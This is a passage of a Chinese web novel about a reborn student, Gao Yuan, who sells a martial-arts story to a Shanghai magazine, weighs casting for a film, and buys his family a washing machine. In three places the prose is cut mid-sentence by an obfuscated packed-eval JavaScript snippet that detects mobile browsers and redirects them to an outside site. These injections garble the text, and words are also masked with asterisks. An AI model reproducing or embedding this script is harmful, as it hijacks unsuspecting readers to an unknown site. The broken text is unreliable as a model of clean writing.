“就知道你对参加这种集体活动不感兴趣,所以人家压根儿就没打你的谱。” 高远藏着一句话没说,这哪是什么忆苦思甜啊,这根本就是**。 你们去了农村,跟农民伯伯们同吃同住同劳动,看似在支农助农,实则就是在给农民伯伯们添麻烦。 你们是北大的学生啊,扛着北大的招牌去了乡下,人家真能使唤你们干活吗? 不得好吃好喝好招待吗? 他太了解高小刚那类人的心思了,回去一趟,真实目的是为了炫耀,有点富贵不还乡如锦衣夜行的意思。 高远对此嗤之以鼻,却也没再说什么。 但是在座的各位哪个不是人精。 见他微微笑着,再嚼嚼他刚才那句“都是积极要求进步的好同志”的话,几位嘿嘿笑了。 陈建功立马说道:“得,我也甭去了,免得被人家说咱目的不纯、心术不正。” 梁左叹息道:“我已经报名了啊,这时候突然撤退,会不会被同学们以为我**意志不坚定啊?” 高远问他道:“你有向组织积极靠拢的想法吗?” 梁左摇头道:“高老师你知道的,在哥们儿心目中,你才是组织,才是明灯。” “臭不要脸啊。” “这忠心表的,太赤裸了。” “要不怎么说老梁才是咱们寝室里最便宜的那一个呢。” 一阵群嘲。 梁左不以为意,撇着嘴说道:“你们敢不承认高老师的才华,这才是赤裸裸的嫉妒。” 其余三人:“咦……” 高远乐得不行了,摆摆手说道:“得了各位,就此打住吧。老梁,你要是真不想参加,找个借口退出来就是了,没人强迫你非得去。 大家如果没事情做,可以随时去我家找我玩儿。 上次聚会,杨大哥就因为家里有事儿没参加,放暑假了,咱们倒可以常聚。” 几人都说好。 葛兆光说道:“我想回家一趟。” 高远点点头,说:“我找人帮你买火车票。” 葛兆光摇摇头,说道:“别麻烦了,我用学生证,能买到半价票。” “钱够用吗?” “够了,贫困生补助按月发,日子宽松了不少。这半年来,感谢大家对我的帮助,我都记在心里呢,客气话我就不说了,今后大家看我表现的。” 高远拍拍他的肩膀,说道:“老兄,再说就见外了。” 葛兆光嘿嘿一笑,道:“不说了,不说了。” 高远收拾个包,把几件脏衣服放进去,起身跟大家告辞:“说好了啊,没事儿过去找我玩儿。” 几位都爽快答应下来。 他下楼回家。 ……………… 明珠,绍兴路74号,这是《**故事会》杂志社的所在地。 三层小楼,独门独院,清静悠然。 一大早,编辑顾小白蹬着自行车萎靡不振地出现在院门口。 他昨天跑了趟浦东,应邀见了个老**,听老**讲了一天**故事,这会儿脑瓜子还嗡嗡响。 **故事虽然精彩,却都是些老黄历了。 就算能改编也无法刊登,因为已经有人写过了。 奈何老**十分热情,车轱辘话来回说,浪费了他一天宝贵的时间。 顾小白自然是能够理解老**的心情的,这人啊,不管你之前取得过多么辉煌的战绩,为新中国的成立立下过多少汗马功劳,一旦退下来,难免心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402264|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沮丧、失落。 好不容易碰到个愿意听他回忆过去的人,那种积压在心中已久的郁闷、失落情绪立马消失不见,不把一肚子的话倒干净了,他轻易不会放你离开。 并且你还不能嫌烦,别看老人家退了,门前冷落车马稀,但该有的待遇可一点都不少,并且你知道人家在位的时候培养过多少青年干部吗? 顾小白不敢流露出一丝的不耐烦,陪着老**嗨聊了一整天。 昨晚到家时已经快十二点了,然后,一夜没怎么睡好。 他上了楼,进办公室,刚在办公桌前坐下,对桌罗书全便递给他一沓牛皮纸袋子,说道:“顾老师,这是今天收到的投稿,您过过目。” 罗书全75年进社,是杂志社最年轻的编辑。 顾小白挺欣赏这个谦逊有礼又上进的小年轻,他打个哈欠,把纸袋子接过来,笑着问道:“书全,你没看吗?” 罗书全腼腆一笑,说:“没,您是组长,您先看。” 顾小白又匀出来一半,递给他道:“分头看吧,速度也能快一点,虽说咱们杂志是双月刊,组稿时间充足,但好故事不好找啊,咱们抓紧一点。” 罗书全接过来,也叹声气,说道:“这与咱们杂志的定位息息相关,其他杂志组稿,对故事的严肃性和思想性要求严格,咱们杂志追求的是可阅读性、通俗性和趣味性。 我打个不恰当的比方,就说故事描写这一块儿吧。 作者描写个女性人物,其他杂志的要求是详写,比如说:这个女人年芳18,生得肤白貌美,一颦一笑我见犹怜。 但在咱们杂志上就是,一个女人,她很漂亮。 我听说,咱们杂志被那些个知名杂志的编辑们称作是民工读物,盲流首选。 顾老师,您说这不是看不起人么。 不对,是看不起咱们杂志。” 旁边一女同志也气呼呼地说道:“岂止是看不起咱们杂志啊,我们这些编辑碰到了那些人,都觉得矮人家一头。” 顾小白蹙蹙眉,说道:“你们不要管别人怎么评价我们,只需要知道谁给你们发工资就成。咱们杂志社组稿是要求故事通俗易懂,但也不能说明通俗文学的格调就是低下的,咦……” 他说着,将目光定格在一篇稿件上。 “清,道光年间,直隶省广平府人杨昱乾为学拳遍访高人,几次被拒绝后,杨昱乾偶然得知,陈家沟有一太极高手陈正英,武艺高强,一手太极拳打得出神入化,为人亦是光明磊落,于是前去拜访。 但陈家沟太极拳不传外人,杨昱乾再次遭到陈正英拒绝,他不甘心就此放弃,便在陈家沟住了下来。 这一日,陈正英的仇家找上门来……” 顾小白继续往下看,越看越有味道。 这是一个武打故事啊,杂志社可很久没刊发武打作品了,况且,这故事有点儿意思啊,节奏明快,全篇围绕着一个叫杨昱乾的年轻人讲述。 有打斗,有爱情,有对河山、风景的详细描写,像一幅画卷展现在他面前。 花了十多分钟,顾小白翻到最后一页,接着他:“啊!怎么没有了?断在这里真的合适吗?” 第84章 让谁演男主角合适呢? 高远写的这个故事总共五万字出头。 梁晓声耍了个心眼儿,只给杂志社寄过去前半部,也就两万多字。 顾小白看完,焦躁得像一头发情的野驴,不过瘾啊不过瘾。 他十分想知道陈正英被仇家用暗器打伤后到底是死是活,杨昱乾去往京城又会有何奇遇。 结果故事到这里居然断了! 这他妈不是缺了大德了嘛。 虽说没得看了,但也并不妨碍他做出判断,这是一篇质量相当好的稿子。 他站起身,抬腿就走,见主编办公室的门开着,他走进去,激动道:“主编,有篇稿件您看看,相当不赖。” “什么稿件啊,让你兴奋成这个样子?” “武打类型的,哎呀您先看一眼吧。” 他把稿子递过去。 主编哑然失笑,接过来翻开,首先映入眼帘的,《太极宗师》这个名字就吸引了他的目光。 接着往下看着,半晌后,他啪地将稿子摔在了桌面上,愤然道:“这个作者缺德带冒烟儿啊,怎么能断在这个地方呢?后半部呢?后半部没寄过来吗?” 顾小白苦笑道:“没有,一个牛皮纸袋子,只有前半部,或许是,作者还没写完?” 主编一咧嘴,说道:“狗屁的没写完,他肯定写完了,这是故意吊胃口呢。” “那,咱刊不刊发?” 主编乐了,屈指敲打着稿件,说:“是个好故事啊,咱们刊物很久都没刊发武打故事了,同行对咱们刊物的评价我多少也听说了一点。 咱们是通俗,但我一直认为,大俗就是大雅。 这不,这篇《太极宗师》就把雅俗共赏结合得很好嘛。 发是肯定要发的,这位作者叫……” “高远。” “对,高远。小白……你等等。” 主编又拿起稿件看了看,稿件后面有联系方式,一串电话号码,他越看越眼熟,拉开抽屉找出一本通讯录来,扒拉开两相一对照。 他乐了,抄起电话打过去,接通后说道:“你好,我是明珠《**故事会》的主编姜若齐,请你们施雯心主任接个电话。” 片刻后,施雯心的声音传了过来,“老姜,你怎么想起来给我打电话了,有事儿?” “施主任你好啊,确实有事情找你,今天我们编辑部收到了一份稿件,作者叫高远,留的是你们北影厂文学部的电话号码,我给你打电话是想问问你,这个高远同志,是贵厂的职工吗?”姜若齐直言不讳道。 施雯心一听就乐了,“先回答你,小高不是我厂的职工,他还是个学生呢,北大中文系的在校生,但是已经给厂里写过几个剧本了,我们是合作关系。 其次,小高给你寄过去的那篇稿子是个武打故事吧? 叫太极宗师?” 姜若齐说是。 施雯心说道:“那我也不妨跟你明说,发吧,这故事已经被厂里买下了,预计明年初会进行拍摄。” “这个小高同志他……”姜若齐倒吸一口凉气,听施雯心那意思,小高同志虽然不是北影厂的人,但深受北影厂的器重啊。 要不然她也不会说北影厂跟高远是合作关系了。 并且话里话外透露着,合作的很愉快。 “我们刚刚拍摄完成的电影《瞧这一家子》就是出自于小高的手笔,这部影片是王好为同志执导,陈强老师父子俩担任主演,刘小庆、张金玲等人参与拍摄的一部喜剧片。 另外我能告诉你的是,小高深受汪厂长的器重,今明两年,由他创作的两部小说会被改编成电影进行拍摄。 老姜,恕我直言啊,对你们《**故事会》来说,刊登小高这篇《太极宗师》,是个向前发展的大好机会。” “这我自然是知道的,也肯定会刊发。不过这个小作者有点缺德啊,他只给我们寄来了半部稿子,还有半部压在手里呢。 稿件质量没的说,哎呀,就是看得我抓心挠肝的。 施主任,咱俩也是老熟人了,您帮我给小高同志带句话呗,让他尽快把后半部寄过来。 您放心,稿酬方面我们按最高标准给付。” 施雯心听着一乐,她是知道内幕的,高远没想到这事儿,是梁晓声帮他拾遗补缺,扣下了半部稿子。 但她也没点破,只说道:“我帮你带个话当然没问题,但是你想要下半部稿子,最好派个人来京跟高远见个面当面聊,这也能展现贵杂志社的诚意和对待作者的尊重嘛。” 姜若齐一想,是这么个理儿,爽快地答应下来:“感谢施主任的提醒啊,就这么办了,我即刻让人北上,去见见这个有趣的小家伙。” 挂上电话后,姜若齐对顾小白说道:“小白,你亲自跑一趟吧,去京城见见这个妙人儿。” 顾小白求之不得,当即答应下来,又问道:“那您看,稿酬是不是我一起带过去?” “带过去吧,我这就签字,你拿给财务的同志,让他们给你支钱。”说着,他刷刷签了稿费审批单,递给顾小白。 顾小白接过来,美滋滋走了。 ………… 当顾小白登上开往京城的火车时,高远正在家洗衣服。 没有洗衣机,他接了满满一塑料盆凉水,蹲在地上,把搓衣板斜着放进盆里,往脏衣服上面撒上洗衣粉,蘸了水,咔咔用手搓。 高雅斜靠在门框上,笑嘻嘻看着老弟辛苦劳作,一点帮忙的意思都没有。 旁边盆里还有一大堆脏衣服,高远愁容满面。 但是没办法。 谁叫他打牌输给老姐了呢。 这姐弟俩也是闲得无聊,找了副扑克抽王八。 三局两胜,谁连续抽到两次大王谁洗衣服。 结果,高远运气不佳,连续两局抽中了姐姐手里的王。 他化身为洗衣工,吭哧吭哧搓衣服。 门铃响了。 高雅大声问道:“谁啊?” “高老师在家吗?”一个男声传了进来。 “我爸不在。”高雅回答道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402265|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我找高远高老师,我是梁晓声啊,麻烦您给开下门。” 高远呼地站了起来,疾步走到门前把门打开,“老梁,你怎么有空过来了?快请进快请进。” 看着他满手的泡沫,梁晓声笑了,说:“哟,干家务呢,够勤快的呀。两件事儿,第一过来给你送个信儿,《太极宗师》被《故事会》采用了,对方主编很重视,已经派人来京跟你面谈。 第二件事是你那两个本子已经通过审查了。 老厂长的意思是,今年先启动《李志远》的拍摄,争取年底拍完上映。 《太极宗师》得排到明年去了,毕竟指标是有数的,还有就是……” 他走进来,压低声音说道:“风向越发开明了,我瞧老厂长那意思,有故意压一压,再看看的心思。” 高远请他坐了,给他倒了杯水,笑道:“风向肯定会越来越好,这是毋庸置疑的,压一压也好,老厂长思想意识再超前,这时候也不能当那个出头鸟。” 梁晓声接过杯子喝了一口,又说:“老厂长让你回去改稿啊,虽然不用大改,但几个情节还需要补充一下。” 高远想了想,说道:“你对《李志远》这个本子也十分熟悉了,要不你替我改吧,虽说没稿费拿,好歹一天也有两块钱补助呢。” 梁晓声知道高远这是在照顾他,心怀感激道:“那我就不跟你客气了,我那家庭条件,也确实需要这笔钱。” “都会好起来的。” “是啊,总会好起来的。其实吧,我也在写一些东西,也给杂志社投过稿,但都被拒了,编辑的意见是,作品不成熟。” 高远来了兴趣,笑着问道:“稿子呢?” 梁晓声挠头说:“在办公桌抽屉里放着呢。” “那你回头拿给我看看。” “等的就是你这句话,你帮我指点指点。” “指点谈不上,共同讨论,共同进步吧。对了,除了这两件事,厂长还有什么要你转述给我的吗?” 梁晓声嘿嘿一笑,“要不怎么说你聪明呢,厂长还让我告诉你,你小叔的入职手续办完了,明天就可以去厂里报到了。” 高远大喜,道:“待会儿我就给他打电话去。” 一直在旁边听两人交谈的高雅也开心不已,她说道:“还是我去吧,我知道在哪儿能找到他。” 说完,她出了门。 高远又问道:“《李志远》还是交给王导拍吧?” 梁晓声点头道:“李文化导演争取过,但被厂长否决了,厂长说,拍这个类型的片子,导演必须得感情细腻。 对了,王导也让我给你带个话,对于演员这块儿,你是怎么考虑的? 心里有属意的演员吗?” 高远心说,那我肯定有啊,我每写一个人物,脑子里都会浮现出一个相对应的演员来。 李志远这个人物,他是比照着张嘉译写的。 但是这年头儿张嘉译还是个孩子呢,那么,让谁演男主角合适呢? 第85章 洗衣机 高远掰着手指头数了数现如今活跃在影坛的中年男演员。 唐国强、郭凯敏、里坡、达式常、张连文等等。 严格说,唐国强都算不上是中年男演员,他算年轻一代。 郭凯敏也是,小郭就是演《庐山恋》中傻气憨直的耿桦那位。 当然,《庐山恋》还没开拍呢。 据高远了解到的情况是,正在进行剧本创作,计划在明年开拍。 这与他无关,因为《庐山恋》是上影厂拍摄制作的,但是,哎哟张瑜那叫一个漂亮啊。 尤其是穿着泳衣在水中畅游那段儿,那双大长腿,高远能玩一年。 他嘿嘿笑着,又把思路转了回来。 这几位都不是很适合出演李志远这个人物,国强是奶油小生,演不出那种被岁月腐蚀后的沧桑感来。 郭凯敏走的也是这个路子,帅气有余成熟感不足。 里坡,算了…… 至于说达式常和张连文,前者在这个年代中非常火,已经出演过《年青的一代》《春苗》《难忘的战斗》等影片的男主人公,高远未必能请动他。 后者倒是蛮符合高远对李志远这个人物形象的描述,国字脸,浓眉大眼,精神饱满,可以作为备选之一。 除此之外,北影厂还有个王心刚。 见高远一会儿傻笑一会儿沉思的样子,梁晓声猜到他在琢磨演员,也不打扰他,把杯子里的水喝完,见茶几上放在盒大前门,他拿起来抽出一根点了。 不带过滤嘴的香烟抽两口就得吐吐烟沫子。 老梁是个节省的人,他谨慎地将烟头含在唇间,不让其碰触舌头,这样就不会沾染上唾沫,烟头也就不会湿了。 抽得太猛,他咳嗽了一声。 高远猛地想起一个人来,王学圻就很适合扮演李志远。 他俊俏而文雅,还兼具着几分凛然正气,戴上眼镜活脱就是个道貌岸然、斯文败类的知识分子形象。 问题是,王学圻现如今在哪儿高就呢? 想起来了,他今年刚考上空政话剧团,但是已经参演过一部电影了,叫《我们都是八路军》。 高远看着梁晓声,说道:“我倒是有个合适的人选,叫王学圻,梁哥可以推荐给导演,他在空政话剧团工作,可以让导演跟空政联系一下。” 梁晓声笑着说:“你自个儿去跟导演说不行吗?还得我带话,这不是拉屎放屁两倒手么。” “什么话啊这是?”高远乐了,实话实说道:“这部影片我就没打算跟组,省的又被别人说我嚣张跋扈,是剧组的一霸。并且我相信导演能完成好这部戏的拍摄工作,我下一步的主要精力得放在《太极宗师》上面。 所以,这部戏得麻烦梁哥多帮我盯一盯了。” 他有自己的小算盘,虽说他入住北影厂时间不长,但也一直在潜移默化的培养自己的班底。 梁晓声、陈佩斯等几个人他都处的极好,为的就是将来用到人家的时候,自己只要竖起“替天行道”的大旗,这几位二话不说就拥呼保义上位。 又叫京城及时雨! 白**家白喝人家,还挖人家的墙角,虽说有点儿**道,但高远心里没亏,也能给大家带来实打实的好处。 这个好处是什么? 简单讲,他能让陈佩斯比上辈子更火,让梁晓声早日脱贫致富,娶上媳妇。 梁晓声嘿嘿笑道:“你倒是洒脱,我帮你盯着自然没问题,但你也不能完全放手不管。 另外,郑爽导演已经被王导启用了,那家伙回归了第三集体,现在也不遭别人待见,你也不用担心他再说你些什么。” 郑爽就是那个跟高远较劲的小反派。 高远微微一笑,说道:“他那点儿小心思我明镜似的,不就是想上位么,怪我抢了他的风头,你自个儿学艺不精却怪罪老师没教好,这就不像话了。 好了,不聊他了,对我而言他只是个小角色。” 梁晓声把烟头丢进烟灰缸里,站起身说道:“得,我的任务完成了,回厂里跟厂长汇报一下,走了。” 高远起身目送他下了楼,转身又回到屋里。 他琢磨着,得给家里买台洗衣机了,现在是夏天,一家四口人每天都要洗几件衣服,老妈工作忙,洗衣服的重任就落在了自个儿和姐姐身上。 这样不行啊,自己这双为丰富广大人民群众的业余文化生活创造精彩故事的金贵小手,怎么能干搓衣服的粗活呢? 他雷厉风行,想到就干,去卫生间洗了把手,又奔卧室取了钱后出门。 家里没工业劵,这难不倒他,中关村那边形成了一个小市场,说白了就是黑市。 那边倒卖各种票券的人有的是,他决定去碰碰运气。 高远刚走到楼下,就见高雅小跑过来。 “梁老师走了?”她问道。 “走了,人家忙得很呐。” “你这是要干嘛去?” “姐,我想给家里买台洗衣机,打算去搞一张工业券,然后去王府井百货大楼转转,你去不?” 高雅眼睛亮了,说:“去去去,你个小财主给家里添大件儿,这么大的事情我肯定要跟你一起去啊。” 高远搂着姐姐的肩膀,笑道:“走着呗。” “走着!” 姐弟俩坐公交去中关村。 中关村这地儿很有意思。 追溯起来,这地界原来是一片荒地,从明朝开始,好多阉人就在此购买“义地”,也就是掩埋穷苦人的公共墓地。 一直到晚清,这便成了二尾子们公认的墓葬地,被称之为“中官坟”,又名“中官村”。 新中国成立后,百废待兴,国家重视文化教育,将中官村附近规划为文教区,但这个名字却与文化教育格格不入。 当年在京居住的郭沫若和陈垣商经过商议,将“官”改成了“关”,这才有了中关村这个名字。 现如今的中关村周边,已经**了一流高校30多所,科研单位130多家。 虽还没真正成为中国的科技心脏,但正朝着这个目标大跨步前进。 一个自发形成的小市场人头攒动,好不热闹。 高雅抓着弟弟的手腕,轻声问道:“小远,你确定这里有倒卖工业券的?” 高远看出了姐姐的紧张,拍拍她的手背笑道:“我肯定这里有,你放轻松,放心,政策越来越开明,几乎没人管这个的。跟我走,自然一点,会有人主动跟我们接头的。” 高雅一笑,说:“搞得跟地下党似的。” 姐弟俩在这个摊位上看看,那个摊位上瞅瞅,光打听价却不卖东西,很快就吸引了一个小伙子的注意。 小伙子摸过来,在高远身边站住,低声问道:“二位是来买粮票的吧?” 高远看着他,笑道:“我不买粮票,除了粮票,你手里还有别的票券吗?” 小伙子很警惕,朝四周看了看,嘿嘿笑道:“甭跟我这儿套磁,小贼,打投办的吧?跟我这儿钓鱼执法呢?别找不痛快啊我告诉你,不然我可不敢保证丫能全须全尾地走出这条街去。” 高远乐了,“大哥你说笑了,你见过打投办有我这么年轻的工作人员吗?不瞒你说,我还是个大学生呢,不信你看。” 他向小伙儿亮了亮北大的校徽。 小伙儿瞅了眼。 “咝!北大的呀,高材生啊。得,我信你了,说吧,你想要什么票券?” “我打算给家里添一台洗衣机,听说咱这块儿有工业券,就过来碰碰运气。” 小伙子嘿嘿一笑,说:“你还真来着了。” 他从裤兜里摸出一张工业券来,又道:“昨儿碰巧收的,只此一张,你诚心要,也甭跟我还价,50你拿走。” 高雅倒吸一口凉气,道:“这么贵?” 小伙子一撇嘴,说道:“您还别嫌贵,这玩意儿可是抢手货,就这价格,再多加20块多少人抢破了头都争着要。我是看你们俩气质不凡,又是名校的学生才一咬牙给你个最低价的。 我说你俩到底要不要?不要就麻溜儿走人吧,别耽误我做生意。” 高雅有点踯躅。 高远却很爽快,“要了,我看大哥你也是个爽快人,就不跟你砍价了。” 他摸出五张大团结递给小伙子。 小伙子接过来数了数,眉开眼笑将工业券递给他,道:“钱货两清,回见了您。” 工业券到手。 高远拉着姐姐快步离开。 高雅心疼地说道:“小弟,姐知道你有钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402266|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但有钱也不能这么花呀,50块钱,都顶咱爸20多天的工资了。” “姐,你想不想解放双手?”高远笑嘻嘻问道。 “那自然是想的,我这两天洗衣服都快洗魔怔了,晚上一闭眼脑子里都是吭哧吭哧搓衣服的画面。”高雅唉声叹气道。 “那不就得了,我跟你说啊,钱这个东西,挣了就是花的,你没听人说过吗?花出去的是钱,存起来的是纸。靠存钱,你永远别想发家致富。 再者说,把钱花到改善、提升生活质量方面,它才更有意义。 咱爸妈都忙,尤其是咱妈,两天做了七台手术,她又是个爱干净的人,回来后本就很疲劳了,还得给咱们洗衣做饭,咱们当儿女的,能分担就替老妈多分担一些家务劳动。 但是吧,咱姐弟俩也不轻松啊,你没作业还是我没作业? 我除了要写作业,还得写剧本,如果把时间都用在洗衣做饭上,是不是就有点太浪费了?” 高远苦口婆心。 高雅闻言一笑,剜他一眼后说道:“就知道说不过你,你小子,满嘴都是理由。得了,你说的有道理成了吧,走吧走吧,赶紧去买洗衣机,买完后回家给咱妈一个惊喜。” 姐弟俩又上了公交车,忍着车厢里各种汗臭、脚臭、狐臭、屁臭等盖了帽的味道,一个多小时才抵达王府井大街。 王府井这地儿也很有意思。 东西道叫大纱帽胡同,老BJ人戏称为“大傻帽胡同”。 百货大楼被誉为“新中国第一店”,55年就开业了,起初叫王府井百货商店,68年改为现名。 全国劳模张秉贵眼下就在这里上班。 张秉贵都知道吧? 是一位卖糖果的售货员,人送外号一把抓,顾客要二两糖果,他抓一把就是二两,要半斤,抓一把就是半斤,分毫不差,据说是平日里用小石子练出来的绝活。 凭这手绝活,张秉贵同志当选了全国劳模、**代表。 在这年头儿,他比这歌星那影星的要红很多。 劳动最光荣嘛。 人家坐个公交车都有人主动让座,去泡澡有人主动搓背。 去世后百货大楼给他立了铜像,国家领导给题的词:一团火精神光耀神州。 堪称楷模。 后世国足那帮傻缺也被立过铜像,在五里河,后来被砸了。 该! 姐弟俩走进百货大楼,一楼柜台大多卖些雪花膏、洗头膏之类的日用品。 公司给张秉贵开设的专卖柜台也在一楼,人乌泱乌泱的,大家以能够买到他亲手抓的糖果为荣。 高远特好奇,也想凑热闹,奈何人太多,根本挤不进去,遂熄了念想。 高雅挽着他的胳膊,四处看了看,“人真多啊,大家都不上班吗?” 高远说道:“谁知道呢,大概外地的游客占大多数吧。” 两人没多逛,直奔三楼电器柜台。 高远看了看,有点惊奇,柜台里面摆放着的电器居然琳琅满目,像什么BJ牌、金星牌电视机,燕牌、蜜蜂牌缝纫机,凤凰、永久、飞鸽牌自行车,红灯牌收音机等等。 洗衣机只有两种品牌可供挑选,一种是威力牌,一种是钻石牌。 “买点什么?”售货员的态度实在令人不敢恭维,却也说不上太差。 高远也懒得计较了,直接问道:“威力牌洗衣机多少钱?” 售货员说道:“480,一张洗衣机券。” “工业券行不?” “可以,都通用。” “钻石牌的呢?” “460。” 高远琢磨琢磨,差20块钱,还是买威力的吧,这个品牌的质量还是过硬的。 他笑着说:“那就给我来一台威力牌的,麻烦您开票吧。” 售货员手脚麻利,开了张票递给高远,说:“往西右拐去交钱,交完钱后把盖了章的绿联儿送回来就可以提货了。” 高远说声好,麻溜儿去交了钱和劵,回来后交了绿联儿,又问道:“麻烦跟您打听一下,给送货吧?” “送去哪儿?” “海淀,钢铁学院家属院。” “那得下午了,留下送货地址,师傅上门安装。” “得嘞,谢谢您啦。” 第86章 钱根本不够花 留下家庭地址,办完提货手续后,高远和高雅没急着回家。 好不容易进趟城,姐弟俩决定好好逛一逛。 两人先把百货大楼从上到下逛了个遍。 高远给姐姐买了些雪花膏、糖果、零食等物。 在卖鞋子的柜台发现一双坡跟黑色女士皮凉鞋,样式新颖,一问价格19块钱,高远算计了一下目前手中的存款余额,咬咬牙买下来。 这是送给老妈的礼物。 他口袋里的钱眼见着哗哗往外流。 自重生以来,一个剧本卖了1200,《李志远》的小说挣了稿费350,一首歌300块。 剧本挣的1200块补贴家用给了老妈200,孝敬小叔、小姑各200,给了姐姐100块,后来又给了100块。 这就是800块冇了。 今儿淘了张工业券,花掉50元,买洗衣机花费480,各类杂物26,又是个556花了出去。 加上他在学校里的吃穿用度,手里仅剩400多块钱。 挣钱的速度还是太慢了。 他总说,小说挣得多花得也多,其实,他也跟小叔一个脾气,手里存不下钱。 有点钱不花出去就跟拿刀子剜他肉似的难受。 这不行啊,首先得加快挣钱的速度。 其次,得养成存钱的习惯。 高远暗下决心。 “小远,姐请你吃卤煮啊。”高雅挽着高远的胳膊,微笑着提议道。 “行啊,小肠陈?” “可以,走着。” 姐弟俩来到南横东街的燕新饭馆里,见取餐口后面的陈玉田老爷子右手拿着刀,左手直接从大铁锅里往外抓肥肠,接着将肥肠甩到案板上,手起刀落。 咄咄咄…… 把肥肠切成段,拿刀一旋,肥肠飞进大碗中,接着是肥肉、肺头、炸豆腐、火烧,或切片或切块,舀一勺蒜汁,放点香菜末,最后往碗里浇一大勺汤。 嚯,就叫一地道! 自56年公私合营后,小肠陈的名号就不让用了。 陈玉田老爷子在这家燕新饭馆里掌勺,一干就是30年。 改开后,第四代传人陈秀芳才在老爷子的支持帮助下重新在南横街亮出“小肠陈”的招牌,恢复了这家百年老字号的荣光。 店里吃饭的人不算多,很快就排到了姐弟俩。 “老爷贼,忙着呢?”高远嬉皮笑脸道。 陈玉田抬起头,见是这货,也乐了,“你小子可好长时间没朝面儿了,我听说你搬家了?” 高远当胡同串子那会儿就经常来燕新饭馆吃卤煮打牙祭,跟老爷子混得很熟。 他笑了笑,说道:“搬了有段日子了,这不是我父亲恢复工作了么,学院把之前收回去的房子又还了回来,我们一家就搬回了学院。” “那挺好,住楼房比住杂院要强,风吹不着雨淋不着的。大碗儿小碗儿?”老爷子笑着问道。 高远看看高雅。 高雅说道:“我要个小碗吧,大碗怕吃不了。” 老爷子看看她,“这是……小雅?” 高雅嘿嘿笑道:“陈爷爷,您还记得我呀。” “记得记得,你插队之前没少跟这个淘气包一起过来,每次来都让我给你多切点大肠头,我印象深刻呀。 哎呀,以前那个梳俩羊角辫的小丫头长成大姑娘了,也就是你上门了,咱爷儿俩在大马路上一走两碰头,陈爷爷怕是真就不敢认你了。” 陈老爷子今儿谈兴很弄,根本不管后面排队的顾客们直眉瞪眼,还是嘟嘟囔囔,一时兴起,跟姐弟俩聊了起来。 高雅一乐,说道:“我能认出您来,您这几年都没什么变化,精神倒越发矍铄了。” 陈老爷子哈哈大笑,“闺女儿,冲你这句话,今儿陈爷爷请客了,给你来一碗全肠头的。” “那还不得把我给腻死啊,您按正常的来就成。” “好好好,你尝尝,陈爷爷这些年的手艺退步了没。” 说着,老爷子徒手捞食材,咔咔咔一顿切,哗地浇上汤,一晚冒着热气的卤煮火烧就算齐活了。 高雅端起碗来提鼻子一闻,“地道!” 老爷子眉开眼笑,又给高远整了碗高的,说:“找个地儿快去吃吧,凉了就不好吃了。” 高远接过碗来,道声谢。 姐弟俩找了个空桌大快朵颐。 小肠陈的卤煮讲究一个肠肥而不腻、肉烂而不糟、火烧透而不粘,比什么大栅栏门框胡同的百年卤煮强出百倍。 陈秀芳端着一盘芥末墩,一盘炸灌肠走过来,放在桌子上后笑着说:“给你俩加菜。” “陈姨,这不合适。”高远忙说道。 “这有什么不合适的,一段日子没见你小子倒学会客气了。吃你的吧,不够再说。”陈秀芳又拍拍高雅的肩膀,笑着离开了。 这顿饭吃得姐弟俩心满意足。 吃饱后,高雅到底没让老爷子请客,主动结了账。 燕新饭馆是国有馆子,老爷子请客,就得老头儿自个儿掏钱,这种占便宜的事儿姐弟俩都干不出来。 陈秀芳好说歹说才勉强收了卤煮火烧的钱,芥末墩和炸灌肠的挑费死活不肯收。 姐弟俩扔下钱就跑了。 公交车站上人很多。 604路公交车开过来的时候,人们一窝蜂地往车上挤。 高远是个坏种,眼见的姐姐被挤得东倒西歪,站都站不稳了,他扶了一把,然后张大了嘴巴,摇头晃脑大声喊道:“让一让啊,让一让,女士优先懂不懂?” 混杂着蒜味儿、香菜味儿、脏器味儿的口气一吐出来。 哗的一下,周边的人捂着鼻子离他远远的。 这孙子太损了,你这是大喘气儿么,你这分明是往外喷毒气弹呐! 有个大妈刚想往外蹦脏字儿,被高远拿眼珠子一横,哈出一口气,立马**三步,“您先请您先请,好嘛,往你跟前凑一凑,老太太我今儿可就能省一顿晚饭了。” 这话说得高远也乐了起来。 高雅瞪他一眼,轻声道:“丢人现眼的玩意儿,赶紧上车。” 高远嘿嘿一笑,大步迈上公交车。 售票员还冲他竖大拇指,轻声说:“高,你实在是高!” 我高个屁! 这都是逼的。 姐弟俩刚回到家,送洗衣机的师傅也到了。 两个安装师傅搬着个大纸箱子走进来,现场拆箱现场安装。 “放哪儿啊?”年纪大的洪师傅问道。 高远说:“放卫生间 